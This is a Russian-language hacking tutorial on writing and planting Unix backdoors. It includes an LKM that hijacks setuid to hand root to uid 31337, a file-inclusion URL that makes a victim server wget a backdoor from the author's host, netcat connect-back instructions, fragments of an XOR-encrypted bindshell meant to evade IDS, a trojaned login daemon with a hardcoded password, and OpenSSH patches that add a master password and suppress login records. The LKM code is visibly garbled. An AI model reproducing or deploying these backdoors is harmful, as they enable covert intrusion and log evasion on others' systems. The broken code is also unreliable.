Вступление
В этой статье я хотел бы рассказать о принципах работы с бэкдорами в *nix-like
осях и, частично, об их написании. Сразу скажу - первая часть статьи рассчитана
на новичков. Для начала разберемся, что такое бэкдор и с чем его едят. Бэкдор -
слово, безусловно, красивое. С английского ("BackDoor") - переводится как
"потайная дверь". Бэкдоры используются хакерами для несанкционированного доступа
к определенному компьютеру - иными словами - запасной вход во взломанную
систему. В принципе, бэкдором можно назвать и троян, который в любой момент
может предоставить шелл доступ к файловой системе. Самое подавляющее большинство
бэкдоров работает под ОС Windows, но как ясно из названия статьи - все, что мы
будем разбирать, будет под *nix-like ОС. Также, для дальнейшего чтения статьи
требуется хоть какое-то знание кодинга под *nix или английского языка, чтобы
дословно понять исходник :). И, конечно же, самих *nix-like систем 🙂
Вот план нашей работы:
- Введение в бэкдоры
- Написание бэкдоров
- Протроянивание демонов
- Другие аспекты 'бэкдоринга'
Так как я обещал рассказать о *nix-бэкдорах, то не буду терять драгоценное
время - поехали!
:: Wait... Loading... Done.
:: Connecting to user's brain... Done.
:: Begin copying new information? YES/NO.
:: > yes
:: Loading new information...
Введение
Бэкдоры в unix-системе можно разделить на два типа:
- удаленный
- локальный
Каждый из этих двух типов можно разделить еще на несколько. Удаленный бэкдор
- это бэкдор, который может предоставить шелл к машине удаленно, локальный
бэкдор - бэкдор, который предоставит какие-то привилегии локально. В общем,
сказать тут "пару слов" не получится и если ты еще не спишь, то предлагаю
разобраться подробнее.
Local backdoor - локальный бэкдор
Так как бэкдор - это потайная дверь, то не обязательно это может быть удаленный
доступ к серверу - может быть и локальный. Вот, например, хакер имел законные
привилегии обычного пользователя в ОС linux. Некоторые директории были закрыты
от его любопытных глаз. Не долго думая хаксор натравил на старую версию linux'a
2.4.3 всем уже до боли известный эксплоит ptrace (в описании бага в ядре linux'a
думаю, ты не нуждаешься :)) и порутал тачку. Осталось закрепиться в системе.
Конечно, можно отснифать пароль, затроянить бинарники, попробовать расшифровать
/etc/shadow, но вход под аккаунтом root будет логироваться везде - достаточно
админу выполнить команду last и он увидит, что пока он вчера пил пиво с соседом,
кто-то из под его учетки шарился по системе и т.д, системы слежения за
целостностью файлов будут трещать - tripwire не спит. Но зачем лишний гемор?
Хакер сделает проще. С помощью не хитрого LKM и перехватом системных вызовов,
его uid (пусть будет 31337) при входе в систему будет меняться на uid=0 (uid
рута). Этот метод "uid-changer" был описан мной в статье "Троянизация
Тукса - операция TooxKit". Он будет перехватывать системный вызов systemuid()
в linux ветках 2.4.x, и если идентификатор пользователя будет равен 31337, то
ему присваивается uid, равный нулю, тем самым пользователь с uid'ом = 31337
сможет выполнять команды из под учетной записи root:
/* UID_CHANGER BackDoor 4 Linux 2.4.x by _1nf3ct0r_ */
#define __KERNEL__
#define MODULE
#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>
#include <sys/syscall.h>
#include <linux/sched.h>
#include <linux/types.h>
int new_setuid(uid_t);
int (*real_setuid) (uid_t);
extern void *sys_call_table[];
int init_module ()
{
register struct module *mp asm("$ebx");
*(char *) (mp->name) = 'd'; *char(char *) (mp->name+1) = 's';
*(char *) (mp->name+2) = '2'; *char(char *) (mp->name+3)= '\0';
real_setuid = sys_call_table[ SYS_setuid ];
sys_call_table[ SYS_setuid ] = (void *)new_setuid;
return 0;
}
int int cleanup_module()
{
if (uid == 31337 )
{
current->uid=0; current->gid=0;
current->euid=0; current->egid=0
return 0;
}
return (*real_setuid) (uid);
}
MODULE_LICENSE("GPL");
Если тебе стала интересна данная тема (non-kernel & LKM rootkits), то советую
прочитать мою статью "Троянизация Тукса - операция ТуксКит". Теперь о удаленных
бэкдорах 😉
Remote backdoor - удаленный бэкдор
Данный тип бэкдоров самый распространенный. Их можно разделить на 2 подтипа - "Bind
Shell" и "Connect Back". Оба они отличаются друг от друга принципом
предоставления шелл-доступа. Будем разбирать на примерах.
Хакер сумел выполнить команду через бажный php-скрипт (как он выполнил - не
суть важно) и тем самым получил привилегии nobody. Одна половина хакеров
использует PHP-шеллы (мне лично они удобны только для навигацией по системе), а
другая половина больше любит консоль (к этим я и отношусь). У первой половины
проблем не возникает (safe-mode и т.д - не в счет) - закачал шелл, назвал его
как-нибудь config.php, засунул куда подальше и жди пока админ его найдет... А
вторая половина сделает так (допустим есть wget, perl, никаких фильтраций
нет...бэкдор - bindshell.pl, настроен на 4000 порт):
http://includer.ru/top.php?header=http://1nf3ct0r.nm.ru/1/cmd.php& cmd=wget –O
bindshell.pl 1nf3ct0r.nm.ru/1/ bindshell.pl;
Бэкдор закачается. Далее мы его запускаем (perl) и можем приконнектиться на
40000 порт, получив полноценный шелл и юзая консоль :)) - это BindShell. Но
вроде бы все ничего. Но этот метод проходит только тогда, когда файрвол не режет
соединения с тачкой. "А если режет? Как мы обойдем файрвол", - спросишь ты. То
тогда мы воспользуемся не Bind Shell-бэкдорами а... правильно, Connect Back -
бэкдорами, которые обходят файрвол по следующему принципу: бэкдор попытается сам
приконнектится к клиенту, который слушает n'ый порт (допустим, тот же netcat) и
тем самым обходит файрвол. Немного переделаем прошлый пример - допустим есть
wget, gcc, никаких фильтраций нет (бэкдор - connectback.c. настроен на 4000
порт):
http://includer.ru/top.php?header= http://infectors.narod.ru/hack/cmd.php&cmd=wget
–O connectback.c http://1nf3ct0r.nm.ru/1/connectback.c;
Бэкдор закачается. Мы его скомпилим (GCC) и запустим с параметрами ./cbd
123.456.78.90, где 123.456.78.90 - IP-адрес машины, в которую должен стукнуть
бэкдор (будь то хоть взломанная тачка или твоя машина (хоть с Windows)). Для
начала надо скачать утилиту netcat. Установив netcat запускаем его:
nc -l -p 4000 или nc –vv –l –p4000
NetCat будет слушать 4000 порт и бэкдор сам подключится к тебе, тем самым обойдя
файрвол 🙂 Не буду заставлять тебя применять гугль - вот код самого бэкдора "Digit-Labs
Connect-Back Backdoor" - он был избран мной (и не только) уже давно, поэтому его
можно отнести к "джентльменскому набору" -
http://1nf3ct0r.nm.ru/hack/bdw.c Кстати говоря, NetCat можно использовать
также в качестве бэкдора и он имеет
сотни методов применения
😉
Но это всего лишь nobody бэкдор. Root'овые бэкдоры не особо сильно отличаются от
nobody-бэкдоров, но все же мы их рассмотрим чуть далее ;). На этом, пожалуй,
все. Мы рассмотрели основы использования *nix-бэкдоров, думаю вопросов не
осталось, так как все было рассказано подробно. Перейдем к более серьезному -
написание продвинутых бэкдоров с использованием шифрования трафика,
ICMP-WakeUp-технологий, технологий сокрытия бэкдора от IDS и т.д. В общем, не
вешай нос, нас ждут великие дела 🙂
Разберем Nobody Bind-Shell XORing traffic бэкдоры.
Продвинутые бэкдоры
Любой грамотный администратор никогда не будет полностью доверять какому-нибудь
антивирусу для никсов или IDS для поиска руткитов (например, chrootkit, rkhunter),
чтобы найти в системе руткит или бэкдор - он прибегнет к помощи сниферов и IDS
(тот же Snort), отслеживающих трафик. От IDS еще можно укрыться, а вот от
снифера - никуды. Что делать? Использовать шифрование трафика! Для этого можно
использовать разные алгоритмы шифрования трафика - BlowFish, TwoFish, xTea, IDEA
или тот же XOR. Такой бэкдор мы сейчас же напишем с тобой! Но не стоит забывать,
что даже самый глупый админ заметит утечку гигабайтного трафика 🙂
Для начала напишем TCP XORing bindshell backdoor - бэкдор, ксорящий данные от
сервера до клиента для сокрытия трафика от IDS и биндящий шелл на заданном
порту. Наш байт XOR шифрования будет объявлен константой code (const code =
0x07;), а порт будет биндиться на 31337 порту (port = 31337) - в случае чего -
смотри исходники. Первое, что надо сделать в бэкдоре... нет, не объявить инклуды
и переменные, а написать функцию "ввода/вывода", которая бы передавала данные от
командного интерпретатора до клиента:
if (FD_ISSET(pipes2[0],&fds)) {
lens = read(pipes2[0], bufs, 2000);
if ((lens <= 0) && (lens != -4)) break;
Это, естественно, не вся функция ввода/вывод, просто кусок кода, на который
следовало бы обратить внимание :). Как я уже отметил выше, главное в бэкдорах,
использующих шифрование трафика - кодирование и декодирование данных серверной и
клиентской частью, код которого мы сейчас и напишем:
Шифруем данные перед отправкой (const code = 0x07;):
for(i=0;i<lens;i++)
*(bufs+i) ^= code;
if (write(sock2,bufs, lens)<0) break;
А вот дешифрацию данных будем проводить так:
for(i=0;i<lens;i++)
*(bufs+i) ^= code;
if (write(pipes1[1], bufs, lens)<0) break;
Далее все очень просто:
- Отправлять серверной части пароль при коннекте с клиентской
- Получив заветный пароль, серверная часть принимается за его проверку
- Затем наш бэкдор будет слушать порт 31337 и при коннекте на него
запустит командный интерпретатор (по дефолту - /bin/sh), все это не так
сложно, поверь мне 🙂
После того, как мы написали серверную часть бэкдора, мы должны написать
клиентскую - куда ж без нее? Работать все будет по следующему принципу:
Клиентская часть запускается с параметрами [TCP/UDP-протокол] [Хост] [Порт]
[Пароль]. Далее мы будем подключаться к серверу:
if (pr) // TCP
if (connect(sock,(struct sockaddr *) &sin, sz)<0){ // Подключаемся
perror("[-] connect()"); // Облом 🙁
exit(0);
и если нас не постиг "Облом :(", то переходим к следующему этапу - проверка
пароля серверной частью. Все! Если пасс верный - мы подключились. Далее снова
идут ф-ии шифрации и дешифрации и окончание кода:
// Зашифровываем данные...
for(i=0;i<lens;i++)
*(bufs+i) ^= code ;
if (pr) lens = write(sock,bufs, lens); // Считываем
else lens = sendto(sock, bufs, lens, 0, (struct sockaddr *)&sin, sz); //
Отправляем
printf("read/send\n");
if (lens<0) {perror("send()|write()"); break;} // Облом ;(
// ...
// Декодируем данные
for(i=0;i<lens;i++)
*(bufs+i) ^= code;
if (write(1, bufs, lens)<0) {perror("write()"); break;}
// ...
В общем, все работает как часы - зашифровываем данные - передаем на расшифровку
от клиента к серверу и наоборот. Остальное - стандартные функции бэкдора. Я
думаю, что здесь все ясно - достаточно знать основы программирования, а
остальное интуитивно понятно...
Протрояненные демоны? Легко!
Также одним из самых популярных методов 'бэкдоринга' является протроянивание
демонов 😉
- ImapD / Qpopd / Login - троян
Сейчас мы напишем с тобой бэкдор для imapd / qpopd / login - демонов требующий
пасс в течении 3 секунд, использующий пароль "HellKnights" для входа в систему.
#define REALPATH "/bin/.login" //
Реальный путь к демону, по умолчанию login
#define TROJAN "/bin/login" // Путь к троянЦцЦу
#define PASS "HellKnights" // Пароль для трояна
char **execute;
char passwd[7];
int main(int argc, char *argv[]) {
void connection();
signal(SIGALRM,connection);
alarm(3); // Лимит времени для ввода пасса
execute=argv;
*execute=TROJAN;
scanf("%s",passwd);
if(strcmp(passwd,PASS)==0) {
alarm(0);
execl("/bin/sh","/bin/sh","-i",0); // Командный
интерпретатор для вызова
exit(0);
}
else
{
execv(REALPATH,execute);
exit(0);
}
}
void connection()
{
execv(REALPATH,execute);
exit(0);
}
Троянизация SSH-демона в качестве бэкдора
Итак... Определяем версию демона ssh (на моем шелле - OpenSSH 3.7.1) и скачиваем
его исходники. Открываем auth-passwd.c, будет примерно такой код:
...
char *encrypted_password = xcrypt(password, (pw_password[0] && pw_password[1]) ?
pw_password : "xx"); /* код, отвечающий за
хэширование пароля */
return (strcmp(encrypted_password, pw_password)) && ok; /*
Затрояниваем тут */
...
int /* далее идет ф-ция login_login(), которую мы
протрояним */
login_login (struct logininfo *li)
{
li->type = LTYPE_LOGIN;
return login_write(li);
}
...
int /* далее идет ф-ция login_logout(), которую мы
протрояним */
login_logout (struct logininfo *li)
{
li->type = LTYPE_LOGIN;
return login_write(li);
}
И изменяем как тут:
int nolog;
nolog: extern /* описываем переменную в начале кода
*/
...
if(strcmp(password,"hellknights") == 0) nolog=1;
char *encrypted_password = xcrypt(password, (pw_password[0] && pw_password[1]) ?
pw_password : "xx");
...
/* троянизируем ф-цию login_login ()
*/
int
login_login (struct logininfo *li)
{
if (nolog == 1) { return 1;}
else
{
li->type = LTYPE_LOGIN;
return login_write(li);}
}
...
int /* троянизируем ф-цию login_logout ()
*/
login_logout (struct logininfo *li)
{
if (nolog == 1) { return 1;}
else
{
li->type = LTYPE_LOGIN;
return login_write(li);}
}
После такой троянизации мы будем полностью невидимы в системе, но IDS,
следящие за целостность файлов (наподобие Tripwire) сразу засекут такой бэкдор.
Также мы будем светиться в netstat-листах и не сможем обойти файрвол, но честно
говоря, такой метод я использовал много раз на системах, где не было Tripwire и
все проходило на "ура!"
(Продолжение следует)